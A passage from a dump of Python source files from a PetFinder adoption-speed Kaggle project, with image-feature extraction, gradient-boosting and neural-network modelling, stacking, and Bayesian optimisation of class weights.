0)\n\n inp = Input((256, 256, 3))\n backbone = DenseNet121(input_tensor=inp,\n weights='../input/petfinderdatasets/densenet121_weights_tf_dim_ordering_tf_kernels_notop.h5',\n include_top=False)\n x = backbone.output\n x = GlobalAveragePooling2D()(x)\n x = Lambda(lambda x: K.expand_dims(x, axis=-1))(x)\n x = AveragePooling1D(4)(x)\n out = Lambda(lambda x: x[:, :, 0])(x)\n model_dense = Model(inp, out)\n\n inp2 = Input((256, 256, 3))\n backbone2 = InceptionResNetV2(input_tensor=inp2,\n weights='../input/petfinderdatasets/inception_resnet_v2_weights_tf_dim_ordering_tf_kernels_notop.h5',\n include_top=False)\n x2 = backbone2.output\n x2 = GlobalAveragePooling2D()(x2)\n x2 = Lambda(lambda x: K.expand_dims(x, axis=-1))(x2)\n x2 = AveragePooling1D(4)(x2)\n out2 = Lambda(lambda x: x[:, :, 0])(x2)\n model_inception = Model(inp2, out2)\n\n features_dense = []\n features_inception = []\n for b in range(n_batches):\n start = b * batch_size\n end = (b + 1) * batch_size\n batch_pets = pet_ids[start: end]\n batch_path = img_pathes[start: end]\n batch_images_dense = np.zeros((len(batch_pets), img_size, img_size, 3))\n batch_images_incep = np.zeros((len(batch_pets), img_size, img_size, 3))\n for i, (pet_id, path) in enumerate(zip(batch_pets, batch_path)):\n try:\n batch_images_dense[i], batch_images_incep[i] = load_image(path)\n except:\n pass\n batch_preds_dense = model_dense.predict(batch_images_dense)\n batch_preds_inception = model_inception.predict(batch_images_incep)\n for i, pet_id in enumerate(batch_pets):\n features_dense.append([pet_id] + list(batch_preds_dense[i]))\n features_inception.append([pet_id] + list(batch_preds_inception[i]))\n\n X = pd.DataFrame(features_dense, columns=[\"PetID\"] + [\"dense121_2_{}\".format(i) for i in\n range(batch_preds_dense.shape[1])])\n gp_img = X.groupby(\"PetID\").mean().reset_index()\n train = pd.merge(train, gp_img, how=\"left\", on=\"PetID\")\n gp_dense_first = X.groupby(\"PetID\").first().reset_index()\n t_cols += list(gp_img.columns.drop(\"PetID\"))\n del model_dense, model_inception, X, gp_img;\n gc.collect();\n K.clear_session()\n\n X = pd.DataFrame(features_inception, columns=[\"PetID\"] + [\"inception_resnet_{}\".format(i) for i in\n range(batch_preds_inception.shape[1])])\n gp_img = X.groupby(\"PetID\").mean().reset_index()\n train = pd.merge(train, gp_img, how=\"left\", on=\"PetID\")\n t_cols += list(gp_img.columns.drop(\"PetID\"))\n del gp_img, X;\n gc.collect()\n \n if K_flag:\n with timer('kaeru features'): \n orig_cols = train.columns\n with timer('densenet features'):\n vectorizer = make_pipeline(\n make_union(\n TruncatedSVD(n_components=n_components, random_state=kaeru_seed),\n # NMF(n_components=n_components, random_state=kaeru_seed),\n # n_jobs=2,\n n_jobs=1,\n ),\n )\n X = vectorizer.fit_transform(gp_dense_first.drop(['PetID'], axis=1))\n X = pd.DataFrame(X, columns=['densenet121_svd_{}'.format(i) for i in range(n_components)])\n # + ['densenet121_nmf_{}'.format(i) for i in range(n_components)])\n X[\"PetID\"] = gp_dense_first[\"PetID\"]\n train = pd.merge(train, X, how=\"left\", on=\"PetID\")\n del vectorizer; gc.collect()\n\n k_cols += [c for c in train.columns if c not in orig_cols if c not in kaeru_drop_cols]\n \n if G_flag:\n with timer('gege features'): \n orig_cols = train.columns\n with timer('densenet features'):\n vectorizer = TruncatedSVD(n_components=n_components_gege_img, random_state=kaeru_seed)\n X = vectorizer.fit_transform(gp_dense_first.drop(['PetID'], axis=1))\n X = pd.DataFrame(X, columns=['densenet121_g_svd_{}'.format(i) for i in range(n_components_gege_img)])\n X[\"PetID\"] = gp_dense_first[\"PetID\"]\n train = pd.merge(train, X, how=\"left\", on=\"PetID\")\n del vectorizer, gp_dense_first; gc.collect()\n g_cols += [c for c in train.columns if c not in orig_cols]\n \n logger.info(train.head())\n \n train.to_feather(\"all_data.feather\")\n np.save(\"common_cols.npy\", np.array(common_cols))\n np.save(\"t_cols.npy\", np.array(t_cols))\n np.save(\"k_cols.npy\", np.array(k_cols))\n np.save(\"g_cols.npy\", np.array(g_cols))\n\n if T_flag:\n with timer('takuoko feature info'):\n categorical_features_t = list(set(categorical_features) - set(remove))\n predictors = list(set(common_cols+t_cols+categorical_features_t) - set([target] + remove))\n predictors = [c for c in predictors if c in use_cols]\n categorical_features_t = [c for c in categorical_features_t if c in predictors]\n logger.info(f'predictors / use_cols = {len(predictors)} / {len(use_cols)}')\n \n train = train.loc[:, ~train.columns.duplicated()]\n\n X = train.loc[:, predictors]\n y = train.loc[:, target]\n rescuer_id = train.loc[:, 'RescuerID'].iloc[:len_train]\n X_test = X[len_train:]\n X = X[:len_train]\n y = y[:len_train]\n X.to_feather(\"X_train_t.feather\")\n X_test.reset_index(drop=True).to_feather(\"X_test_t.feather\")\n\n with timer('takuoko lgbm modeling'):\n y_pred_t = np.empty(len_train,)\n y_test_t = []\n train_losses, valid_losses = [], []\n\n cv = StratifiedGroupKFold(n_splits=n_splits)\n for fold_id, (train_index, valid_index) in enumerate(cv.split(range(len(X)), y=y, groups=rescuer_id)): \n X_train = X.loc[train_index, :]\n X_valid = X.loc[valid_index, :]\n y_train = y[train_index]\n y_valid = y[valid_index]\n\n pred_val, pred_test, train_rmse, valid_rmse = run_model(X_train, y_train, X_valid, y_valid, X_test,\n categorical_features_t, predictors, maxvalue_dict, fold_id, MODEL_PARAMS, MODEL_NAME+\"_t\")\n y_pred_t[valid_index] = pred_val \n y_test_t.append(pred_test)\n train_losses.append(train_rmse)\n valid_losses.append(valid_rmse)\n\n y_test_t = np.mean(y_test_t, axis=0)\n logger.info(f'train RMSE = {np.mean(train_losses)}')\n logger.info(f'valid RMSE = {np.mean(valid_losses)}')\n \n np.save(\"y_test_t.npy\",y_test_t)\n np.save(\"y_oof_t.npy\", y_pred_t)\n\n with timer('takuoko feature info for NN'):\n use_cols = [c for c in use_colsnn if c in train.columns]\n\n dense_cols = [c for c in X_train.columns if \"dense\" in c and \"svd\" not in c and \"nmf\" not in c]\n inception_cols = [c for c in X_train.columns if \"inception\" in c and \"svd\" not in c and \"nmf\" not in c]\n img_cols = dense_cols + inception_cols\n numerical = [c for c in use_cols if c not in categorical_features and c not in img_cols]\n important_numerical = [c for c in numerical if c in use_cols[:n_important]]\n numerical = [c for c in numerical if c not in use_cols[:n_important]]\n important_categorical = [c for c in categorical_features if c in use_cols[:n_important]]\n categorical_features = [c for c in categorical_features if c not in use_cols[:n_important]]\n\n numerical_1000 = [c for c in use_cols[n_important:1000] if c not in categorical_features and c not in img_cols]\n categorical_features_1000 = [c for c in categorical_features if c not in use_cols[n_important:1000]]\n\n train_cp = train[img_cols+numerical+important_numerical+categorical_features+important_categorical].copy()\n for c in categorical_features + important_categorical:\n train_cp[c] = LabelEncoder().fit_transform(train_cp[c])\n train_cp.replace(np.inf, np.nan, inplace=True)\n train_cp.replace(-np.inf, np.nan, inplace=True)\n train_cp[important_numerical + numerical] = StandardScaler().fit_transform(\n train_cp[important_numerical + numerical].rank())\n train_cp.fillna(0, inplace=True)\n\n X_test = train_cp.iloc[len_train:]\n X_train = train_cp.iloc[:len_train]\n X_desc_test = X_desc[len_train:]\n X_desc_train = X_desc[:len_train]\n X_desc_self_test = X_desc_self[len_train:]\n X_desc_self_train = X_desc_self[:len_train]\n del X_desc, X_desc_self; gc.collect()\n\n with timer('takuoko NN modeling'):\n y_pred_t_nn1 = np.empty(len_train, )\n y_test_t_nn1 = []\n train_losses, valid_losses = [], []\n x_test = get_keras_data(X_test, X_desc_test)\n\n cv = StratifiedGroupKFold(n_splits=n_splits)\n for fold_id, (train_index, valid_index) in enumerate(cv.split(range(len(X)), y=y, groups=rescuer_id)):\n x_train = get_keras_data(X_train.iloc[train_index], X_desc_train[train_index])\n x_valid = get_keras_data(X_train.iloc[valid_index], X_desc_train[valid_index])\n y_train, y_valid = y[train_index], y[valid_index]\n\n model = get_model(max_len, embedding_dim)\n clr_tri = CyclicLR(base_lr=1e-5, max_lr=1e-2, step_size=len(X_train) // batch_size_nn, mode=\"triangular2\")\n ckpt = ModelCheckpoint('model.hdf5', save_best_only=True,\n monitor='val_loss', mode='min')\n history = model.fit(x_train, y_train, batch_size=batch_size_nn, validation_data=(x_valid, y_valid),\n epochs=epochs, callbacks=[ckpt, clr_tri], verbose=2)\n model.load_weights('model.hdf5')\n\n y_pred_train = model.predict(x_train, batch_size=1000).reshape(-1, )\n train_rmse = np.sqrt(mean_squared_error(y_train, y_pred_train))\n\n y_pred_valid = model.predict(x_valid, batch_size=1000).reshape(-1, )\n valid_rmse = np.sqrt(mean_squared_error(y_valid, y_pred_valid))\n y_pred_valid = rankdata(y_pred_valid) / len(y_pred_valid)\n y_pred_t_nn1[valid_index] = y_pred_valid\n\n pred_test = model.predict(x_test, batch_size=1000).reshape(-1, )\n pred_test = rankdata(pred_test) / len(pred_test)\n y_test_t_nn1.append(pred_test)\n\n train_losses.append(train_rmse)\n valid_losses.append(valid_rmse)\n\n del model;\n K.clear_session()\n\n y_test_t_nn1 = np.mean(y_test_t_nn1, axis=0)\n logger.info(f'train RMSE = {np.mean(train_losses)}')\n logger.info(f'valid RMSE = {np.mean(valid_losses)}')\n\n np.save(\"y_test_t_nn1.npy\", y_test_t_nn1)\n np.save(\"y_oof_t_nn1.npy\", y_pred_t_nn1)\n\n with timer('takuoko selftrained NN modeling'):\n y_pred_t_nn2 = np.empty(len_train, )\n y_test_t_nn2 = []\n train_losses, valid_losses = [], []\n x_test = get_keras_data_selftrain(X_test, X_desc_self_test)\n\n cv = StratifiedGroupKFold(n_splits=n_splits)\n for fold_id, (train_index, valid_index) in enumerate(cv.split(range(len(X)), y=y, groups=rescuer_id)):\n x_train = get_keras_data_selftrain(X_train.iloc[train_index], X_desc_self_train[train_index])\n x_valid = get_keras_data_selftrain(X_train.iloc[valid_index], X_desc_self_train[valid_index])\n y_train, y_valid = y[train_index], y[valid_index]\n\n model = get_model_selftrain(max_len, embedding_dim_self)\n clr_tri = CyclicLR(base_lr=1e-5, max_lr=1e-2, step_size=len(X_train) // batch_size_nn, mode=\"triangular2\")\n ckpt = ModelCheckpoint('model.hdf5', save_best_only=True,\n monitor='val_loss', mode='min')\n history = model.fit(x_train, y_train, batch_size=batch_size_nn, validation_data=(x_valid, y_valid),\n epochs=epochs, callbacks=[ckpt, clr_tri], verbose=2)\n model.load_weights('model.hdf5')\n\n y_pred_train = model.predict(x_train, batch_size=1000).reshape(-1, )\n train_rmse = np.sqrt(mean_squared_error(y_train, y_pred_train))\n\n y_pred_valid = model.predict(x_valid, batch_size=1000).reshape(-1, )\n valid_rmse = np.sqrt(mean_squared_error(y_valid, y_pred_valid))\n y_pred_valid = rankdata(y_pred_valid) / len(y_pred_valid)\n y_pred_t_nn2[valid_index] = y_pred_valid\n\n pred_test = model.predict(x_test, batch_size=1000).reshape(-1, )\n pred_test = rankdata(pred_test) / len(pred_test)\n y_test_t_nn2.append(pred_test)\n\n train_losses.append(train_rmse)\n valid_losses.append(valid_rmse)\n\n del model;\n K.clear_session()\n\n y_test_t_nn2 = np.mean(y_test_t_nn2, axis=0)\n logger.info(f'train RMSE = {np.mean(train_losses)}')\n logger.info(f'valid RMSE = {np.mean(valid_losses)}')\n\n np.save(\"y_test_t_nn2.npy\", y_test_t_nn2)\n np.save(\"y_oof_t_nn2.npy\", y_pred_t_nn2)\n\n y_test_t_nn = (y_test_t_nn1 + y_test_t_nn2) / 2\n y_pred_t_nn = (y_pred_t_nn1 + y_pred_t_nn2) / 2\n \n if K_flag:\n with timer('kaeru feature info'):\n kaeru_cat_cols = None\n predictors = list(set(common_cols+k_cols) - set([target] + remove+kaeru_drop_cols))\n\n X = train.loc[:, predictors]\n y = train.loc[:, target]\n rescuer_id = train.loc[:, 'RescuerID'].iloc[:len_train]\n X_test = X[len_train:]\n X = X[:len_train]\n y = y[:len_train]\n X.to_feather(\"X_train_k.feather\")\n X_test.reset_index(drop=True).to_feather(\"X_test_k.feather\")\n\n with timer('kaeru modeling'):\n y_pred_k = np.empty(len_train,)\n y_test_k = []\n train_losses, valid_losses = [], []\n\n cv = StratifiedGroupKFold(n_splits=n_splits)\n for fold_id, (train_index, valid_index) in enumerate(cv.split(range(len(X)), y=y, groups=rescuer_id)):\n X_train = X.loc[train_index, :]\n X_valid = X.loc[valid_index, :]\n y_train = y[train_index]\n y_valid = y[valid_index]\n\n pred_val, pred_test, train_rmse, valid_rmse = run_model(X_train, y_train, X_valid, y_valid, X_test,\n kaeru_cat_cols, predictors, maxvalue_dict, fold_id, KAERU_PARAMS, MODEL_NAME+\"_k\")\n y_pred_k[valid_index] = pred_val \n y_test_k.append(pred_test)\n train_losses.append(train_rmse)\n valid_losses.append(valid_rmse)\n\n y_test_k = np.mean(y_test_k, axis=0)\n logger.info(f'train RMSE = {np.mean(train_losses)}')\n logger.info(f'valid RMSE = {np.mean(valid_losses)}')\n\n np.save(\"y_test_k.npy\",y_test_k)\n np.save(\"y_oof_k.npy\", y_pred_k)\n \n if G_flag:\n with timer('gege feature info'):\n predictors = list(set(common_cols+g_cols) - set([target] + remove+gege_drop_cols))\n categorical_features_g = [c for c in categorical_features if c in predictors]\n\n X = train.loc[:, predictors]\n y = train.loc[:, target]\n rescuer_id = train.loc[:, 'RescuerID'].iloc[:len_train]\n X_test = X[len_train:]\n X = X[:len_train]\n y = y[:len_train]\n X.to_feather(\"X_train_g.feather\")\n X_test.reset_index(drop=True).to_feather(\"X_test_g.feather\")\n \n with timer('gege adversarial validation'):\n train_idx = range(0, len_train)\n X_adv = train.loc[:, predictors]\n y_adv = np.array([0 for i in range(len(X))] + [1 for i in range(len(X_test))])\n \n X_adv_tr, X_adv_tst, y_adv_tr, y_adv_tst = train_test_split(X_adv,y_adv, test_size=0.20, shuffle = True, random_state = 42)\n \n lgtrain = lgb.Dataset(X_adv_tr, y_adv_tr,\n categorical_feature=categorical_features_g, \n feature_name=predictors)\n lgvalid = lgb.Dataset(X_adv_tst, y_adv_tst,\n categorical_feature=categorical_features_g, \n feature_name=predictors)\n\n lgb_adv = lgb.train(\n ADV_PARAMS,\n lgtrain,\n num_boost_round=20000,\n valid_sets=[lgtrain, lgvalid],\n valid_names=['train','valid'],\n early_stopping_rounds=500,\n verbose_eval=20000\n )\n\n train_preds = lgb_adv.predict(X_adv.iloc[train_idx])\n extract_idx = np.argsort(-train_preds)[:int(len(train_idx)*0.85)]\n np.save('extract_idx.npy', extract_idx)\n \n del X_adv_tr, X_adv_tst, y_adv_tr, y_adv_tst, X_adv, y_adv, lgb_adv; gc.collect()\n\n with timer('gege modeling'):\n X = X.iloc[extract_idx].reset_index(drop=True)\n y = y[extract_idx].reset_index(drop=True)\n rescuer_id = rescuer_id[extract_idx].reset_index(drop=True)\n y_pred_g = np.empty(len(extract_idx),)\n y_test_g = []\n train_losses, valid_losses = [], []\n\n cv = StratifiedGroupKFold(n_splits=n_splits)\n for fold_id, (train_index, valid_index) in enumerate(cv.split(range(len(X)), y=y, groups=rescuer_id)): \n X_train = X.loc[train_index, :]\n X_valid = X.loc[valid_index, :]\n y_train = y[train_index]\n y_valid = y[valid_index]\n\n pred_val, pred_test, train_rmse, valid_rmse = run_xgb_model(X_train, y_train,\n X_valid, y_valid, X_test, predictors, maxvalue_dict, \n fold_id, MODEL_PARAMS_XGB, MODEL_NAME+\"_g\")\n y_pred_g[valid_index] = pred_val \n y_test_g.append(pred_test)\n train_losses.append(train_rmse)\n valid_losses.append(valid_rmse)\n\n y_test_g = np.mean(y_test_g, axis=0)\n logger.info(f'train RMSE = {np.mean(train_losses)}')\n logger.info(f'valid RMSE = {np.mean(valid_losses)}')\n\n np.save(\"y_test_g.npy\",y_test_g)\n np.save(\"y_oof_g.npy\", y_pred_g)\n np.save(\"extract_idx.npy\", extract_idx)\n \n if T_flag and K_flag and G_flag:\n with timer('stacking'):\n X = np.concatenate([y_pred_t[extract_idx].reshape(-1, 1), \n y_pred_t_nn[extract_idx].reshape(-1, 1), \n y_pred_k[extract_idx].reshape(-1, 1), \n y_pred_g.reshape(-1, 1), \n ], axis=1)\n X_test = np.concatenate([y_test_t.reshape(-1, 1), \n y_test_t_nn.reshape(-1, 1), \n y_test_k.reshape(-1, 1), \n y_test_g.reshape(-1, 1),\n ], axis=1)\n\n y_pred_stack_ridge = np.empty([len(extract_idx), 1])\n y_test_stack_ridge = []\n cv = StratifiedGroupKFold(n_splits=n_splits)\n for fold_id, (train_index, valid_index) in enumerate(cv.split(range(len(X)), y=y, groups=rescuer_id)): \n X_train = X[train_index]\n X_valid = X[valid_index]\n y_train = y[train_index]\n y_valid = y[valid_index]\n \n model = Ridge(alpha=0.01)\n model.fit(X_train, y_train)\n y_pred_valid = model.predict(X_valid)\n y_pred_test = model.predict(X_test)\n \n y_test_stack_ridge.append(y_pred_test)\n y_pred_stack_ridge[valid_index] = y_pred_valid.reshape(-1, 1)\n \n y_test = np.mean(y_test_stack_ridge, axis=0)\n y_test = rankdata(y_test) / len(y_test)\n y_pred = rankdata(y_pred_stack_ridge) / len(y_pred_stack_ridge)\n elif T_flag and K_flag:\n y_pred = y_pred_t*0.5 + y_pred_k*0.5\n y_test = y_test_t*0.5 + y_test_k*0.5\n elif T_flag and G_flag:\n y_pred = y_pred_t[extract_idx]*0.5 + y_pred_g*0.5\n y_test = y_test_t*0.5 + y_test_g*0.5\n elif G_flag and K_flag:\n y_pred = y_pred_g*0.5 + y_pred_k[extract_idx]*0.5\n y_test = y_test_g*0.5 + y_test_k*0.5\n elif T_flag:\n y_pred = y_pred_t\n y_test = y_test_t\n elif K_flag:\n y_pred = y_pred_k\n y_test = y_test_k\n elif G_flag:\n y_pred = y_pred_g\n y_test = y_test_g\n \n with timer('optimize threshold'):\n optR = OptimizedRounder()\n optR.fit(y_pred, y)\n coefficients = optR.coefficients()\n y_pred = optR.predict(y_pred, coefficients)\n score = get_score(y, y_pred)\n logger.info(f'Coefficients = {coefficients}')\n logger.info(f'QWK = {score}')\n y_test = optR.predict(y_test, coefficients).astype(int)\n \n with timer('postprocess'):\n try:\n submission_with_postprocessV3(y_test)\n except:\n submission(y_test)\n " }, { "alpha_fraction": 0.5291805267333984, "alphanum_fraction": 0.5490045547485352, "avg_line_length": 30.891008377075195, "blob_id": "8fe705937779f392b008c844ffe3748be7464e07", "content_id": "a70232bddfd7c8f96ccef4dd81274dd0298e2674", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11703, "license_type": "permissive", "max_line_length": 120, "num_lines": 367, "path": "/code/exp/opt_weight.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "import GPy\nimport GPyOpt\nimport feather\nimport scipy as sp\nimport numpy as np\nimport pandas as pd\nimport lightgbm as lgb\n\nfrom collections import Counter\nfrom functools import partial\nfrom math import sqrt\nfrom scipy.stats import rankdata\n\nfrom sklearn.metrics import cohen_kappa_score, mean_squared_error\nfrom sklearn.metrics import confusion_matrix as sk_cmatrix\nfrom sklearn.model_selection import StratifiedKFold, GroupKFold\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\ntarget = 'AdoptionSpeed'\nlen_train = 14993\nlen_test = 3948\n\n# ===============\n# Params\n# ===============\nseed = 777\nn_splits = 5\nnp.random.seed(seed)\n\n# feature engineering\nn_components = 5\nimg_size = 256\nbatch_size = 256\n\n# model\nMODEL_PARAMS = {\n 'task': 'train',\n 'boosting_type': 'gbdt',\n 'objective': 'regression',\n 'metric': 'rmse',\n 'learning_rate': 0.01,\n 'num_leaves': 63,\n 'subsample': 0.9,\n 'subsample_freq': 1,\n # 'colsample_bytree': 0.6,\n 'max_depth': 9,\n 'max_bin': 127,\n 'reg_alpha': 0.11,\n 'reg_lambda': 0.01,\n 'min_child_weight': 0.2,\n 'min_child_samples': 20,\n 'min_gain_to_split': 0.02,\n 'min_data_in_bin': 3,\n 'bin_construct_sample_cnt': 5000,\n 'cat_l2': 10,\n 'verbose': -1,\n 'nthread': 2,\n 'seed': 777,\n}\nFIT_PARAMS = {\n 'num_boost_round': 5000,\n 'early_stopping_rounds': 100,\n 'verbose_eval': 10000,\n}\n\n# define\nmaxvalue_dict = {}\ncategorical_features = [\n 'Breed1',\n 'Breed2',\n 'Color1',\n 'Color2',\n 'Color3',\n 'Dewormed',\n 'FurLength',\n 'Gender',\n 'Health',\n 'MaturitySize',\n 'State',\n 'Sterilized',\n 'Type',\n 'Vaccinated',\n 'Type_main_breed',\n 'BreedName_main_breed',\n 'Type_second_breed',\n 'BreedName_second_breed',\n]\nnumerical_features = []\ntext_features = ['Name', 'Description']\nremove = ['index', 'seq_text', 'PetID', 'Name', 'Description', 'RescuerID', 'StateName', 'annots_top_desc',\n 'sentiment_text',\n 'Description_Emb', 'Description_bow', 'annots_top_desc_pick']\n\n\ndef get_score(y_true, y_pred):\n return cohen_kappa_score(y_true, y_pred, weights='quadratic')\n\n\ndef get_y():\n return pd.read_csv('../input/train.csv', usecols=[target]).values.flatten()\n\n\ndef run_model(X_train, y_train, X_valid, y_valid, w_train, w_valid,\n categorical_features, numerical_features,\n predictors, maxvalue_dict, fold_id):\n train = lgb.Dataset(X_train, y_train,\n categorical_feature=categorical_features,\n feature_name=predictors,\n weight=w_train)\n valid = lgb.Dataset(X_valid, y_valid,\n categorical_feature=categorical_features,\n feature_name=predictors,\n weight=w_valid)\n evals_result = {}\n model = lgb.train(\n MODEL_PARAMS,\n train,\n valid_sets=[valid],\n valid_names=['valid'],\n evals_result=evals_result,\n **FIT_PARAMS\n )\n\n # validation score\n y_pred_valid = model.predict(X_valid)\n\n # feature importances\n importances = pd.DataFrame()\n importances['feature'] = predictors\n importances['gain'] = model.feature_importance(importance_type='gain')\n importances['split'] = model.feature_importance(importance_type='split')\n importances['fold'] = fold_id\n\n return y_pred_valid, importances\n\n\ndef plot_mean_feature_importances(feature_importances, max_num=50, importance_type='gain', path=None):\n mean_gain = feature_importances[[importance_type, 'feature']].groupby('feature').mean()\n feature_importances['mean_' + importance_type] = feature_importances['feature'].map(mean_gain[importance_type])\n\n if path is not None:\n data = feature_importances.sort_values('mean_' + importance_type, ascending=False).iloc[:max_num, :]\n plt.clf()\n plt.figure(figsize=(16, 8))\n sns.barplot(x=importance_type, y='feature', data=data)\n plt.tight_layout()\n plt.savefig(path)\n\n return feature_importances\n\n\ndef to_bins(x, borders):\n for i in range(len(borders)):\n if x <= borders[i]:\n return i\n return len(borders)\n\n\nclass OptimizedRounder_(object):\n def __init__(self):\n self.coef_ = 0\n\n def _loss(self, coef, X, y, idx):\n X_p = np.array([to_bins(pred, coef) for pred in X])\n ll = -get_score(y, X_p)\n return ll\n\n def fit(self, X, y):\n coef = [1.5, 2.0, 2.5, 3.0]\n golden1 = 0.618\n golden2 = 1 - golden1\n ab_start = [(1, 2), (1.5, 2.5), (2, 3), (2.5, 3.5)]\n for it1 in range(10):\n for idx in range(4):\n # golden section search\n a, b = ab_start[idx]\n # calc losses\n coef[idx] = a\n la = self._loss(coef, X, y, idx)\n coef[idx] = b\n lb = self._loss(coef, X, y, idx)\n for it in range(20):\n # choose value\n if la > lb:\n a = b - (b - a) * golden1\n coef[idx] = a\n la = self._loss(coef, X, y, idx)\n else:\n b = b - (b - a) * golden2\n coef[idx] = b\n lb = self._loss(coef, X, y, idx)\n self.coef_ = {'x': coef}\n\n def predict(self, X, coef):\n X_p = np.array([to_bins(pred, coef) for pred in X])\n return X_p\n\n def coefficients(self):\n return self.coef_['x']\n\n\nclass OptimizedRounder(object):\n def __init__(self):\n self.coef_ = 0\n\n def _loss(self, coef, X, y, idx):\n X_p = np.array([to_bins(pred, coef) for pred in X])\n ll = -get_score(y, X_p)\n return ll\n\n def fit(self, X, y):\n coef = [0.2, 0.4, 0.6, 0.8]\n golden1 = 0.618\n golden2 = 1 - golden1\n ab_start = [(0.01, 0.3), (0.15, 0.56), (0.35, 0.75), (0.6, 0.9)]\n for it1 in range(10):\n for idx in range(4):\n # golden section search\n a, b = ab_start[idx]\n # calc losses\n coef[idx] = a\n la = self._loss(coef, X, y, idx)\n coef[idx] = b\n lb = self._loss(coef, X, y, idx)\n for it in range(20):\n # choose value\n if la > lb:\n a = b - (b - a) * golden1\n coef[idx] = a\n la = self._loss(coef, X, y, idx)\n else:\n b = b - (b - a) * golden2\n coef[idx] = b\n lb = self._loss(coef, X, y, idx)\n self.coef_ = {'x': coef}\n\n def predict(self, X, coef):\n X_p = np.array([to_bins(pred, coef) for pred in X])\n return X_p\n\n def coefficients(self):\n return self.coef_['x']\n\n\nclass StratifiedGroupKFold():\n def __init__(self, n_splits=5):\n self.n_splits = n_splits\n\n def split(self, X, y=None, groups=None):\n fold = pd.DataFrame([X, y, groups]).T\n fold.columns = ['X', 'y', 'groups']\n fold['y'] = fold['y'].astype(int)\n g = fold.groupby('groups')['y'].agg('mean').reset_index()\n fold = fold.merge(g, how='left', on='groups', suffixes=('', '_mean'))\n fold['y_mean'] = fold['y_mean'].apply(np.round)\n fold['fold_id'] = 0\n for unique_y in fold['y_mean'].unique():\n mask = fold.y_mean == unique_y\n selected = fold[mask].reset_index(drop=True)\n cv = GroupKFold(n_splits=n_splits)\n for i, (train_index, valid_index) in enumerate(\n cv.split(range(len(selected)), y=None, groups=selected['groups'])):\n selected.loc[valid_index, 'fold_id'] = i\n fold.loc[mask, 'fold_id'] = selected['fold_id'].values\n\n for i in range(self.n_splits):\n indices = np.arange(len(fold))\n train_index = indices[fold['fold_id'] != i]\n valid_index = indices[fold['fold_id'] == i]\n yield train_index, valid_index\n\n\ndef merge(train, test, path, add_cols):\n df_ = feather.read_dataframe(path)\n add_cols += list(df_.columns)\n train = pd.concat((train, df_[:len_train]), axis=1)\n test = pd.concat((test, df_[len_train:].reset_index(drop=True)), axis=1)\n return train, test, add_cols\n\n\ntrain = feather.read_dataframe('from_kernel/all_data.feather')\ntest = train[len_train:]\ntrain = train[:len_train]\nadd_cols = []\n\ntrain, test, add_cols = merge(train, test, \"feature/breedrank.feather\", add_cols)\n\ntrain, test, add_cols = merge(train, test, \"feature/glove_wiki_mag_light.feather\", add_cols)\ntrain, test, add_cols = merge(train, test, \"feature/glove_wiki_mag_light_meta.feather\", add_cols)\n\n# n_feats =2024\n# predictors = list(data.feature[:n_feats])\nuse_cols = pd.read_csv(\"importance6.csv\")\nuse_cols[\"gain\"] = use_cols[\"gain\"] / use_cols[\"gain\"].sum()\npredictors = list(use_cols[use_cols.gain > 0.0002].feature) + add_cols\nprint(len(predictors))\ncategorical_features = [c for c in categorical_features if c in predictors]\nnumerical_features = list(set(predictors) - set(categorical_features + [target] + remove))\n# predictors = categorical_features + numerical_features\n\nX = train.loc[:, predictors]\ny = feather.read_dataframe('../input/X_train.feather')[\"AdoptionSpeed\"].values\nrescuer_id = pd.read_csv('../input/train.csv').loc[:, 'RescuerID'].iloc[:len_train]\n\nlabels2weight = {0: 1,\n 1: 1,\n 2: 1,\n 3: 1,\n 4: 1}\n\n\ndef training(x):\n print(x)\n feature_importances = pd.DataFrame()\n y_pred = np.empty(len_train, )\n y_test = []\n\n labels2weight = {0: float(x[:, 0]),\n 1: float(x[:, 1]),\n 2: float(x[:, 2]),\n 3: float(x[:, 3]),\n 4: float(x[:, 4])}\n weight = np.array([labels2weight[int(t)] for t in y])\n\n cv = StratifiedGroupKFold(n_splits=n_splits)\n for fold_id, (train_index, valid_index) in enumerate(cv.split(range(len(X)), y=y, groups=rescuer_id)):\n X_train = X.loc[train_index, :]\n X_valid = X.loc[valid_index, :]\n y_train = y[train_index]\n y_valid = y[valid_index]\n w_train = weight[train_index]\n w_valid = weight[valid_index]\n\n y_pred_valid, importances = run_model(X_train, y_train, X_valid, y_valid, w_train, w_valid,\n categorical_features, numerical_features,\n predictors, maxvalue_dict, fold_id)\n y_pred_valid = rankdata(y_pred_valid) / len(y_pred_valid)\n y_pred[valid_index] = y_pred_valid.ravel()\n\n optR = OptimizedRounder()\n optR.fit(y_pred, y)\n coefficients = optR.coefficients()\n y_pred_opt = optR.predict(y_pred, coefficients)\n score = get_score(y, y_pred_opt)\n print(score)\n\n return -1 * score\n\n\nbounds = [{'name': 'w0', 'type': 'continuous', 'domain': (0.1, 2)},\n {'name': 'w1', 'type': 'continuous', 'domain': (0.1, 2)},\n {'name': 'w2', 'type': 'continuous', 'domain': (0.1, 2)},\n {'name': 'w3', 'type': 'continuous', 'domain': (0.1, 2)},\n {'name': 'w4', 'type': 'continuous', 'domain': (0.1, 2)},\n ]\nmyBopt = GPyOpt.methods.BayesianOptimization(f=training, domain=bounds, initial_design_numdata=5, acquisition_type='EI')\nmyBopt.run_optimization(max_iter=150)\n\nbest_score = np.min(myBopt.Y)\nbest_itre = np.argmin(myBopt.Y)\nresult = pd.DataFrame({\"param\": myBopt.X[best_itre]},\n index=[\"w0\", \"w1\", \"w2\", \"w3\", \"w4\"])\n\nprint(\"best score\", best_score)\nprint(result)" }, { "alpha_fraction": 0.676071047782898, "alphanum_fraction": 0.6833855509757996, "avg_line_length": 29.90322494506836, "blob_id": "e137b133dd15b66cee3807ecee108442d3ac1488", "content_id": "c5927875e7ffbf7da50e58c258e7f66b91124459", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 957, "license_type": "permissive", "max_line_length": 76, "num_lines": 31, "path": "/code/fe/40lda.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from collections import defaultdict\nfrom gensim.models import LdaModel\nfrom gensim.corpora.dictionary import Dictionary\nfrom keras.preprocessing.text import text_to_word_sequence\nfrom utils import *\n\n\ndef w2v(train_text, n_topics=5):\n train_corpus = [text_to_word_sequence(text) for text in train_text]\n dictionary = Dictionary(train_corpus)\n\n score_by_topic = 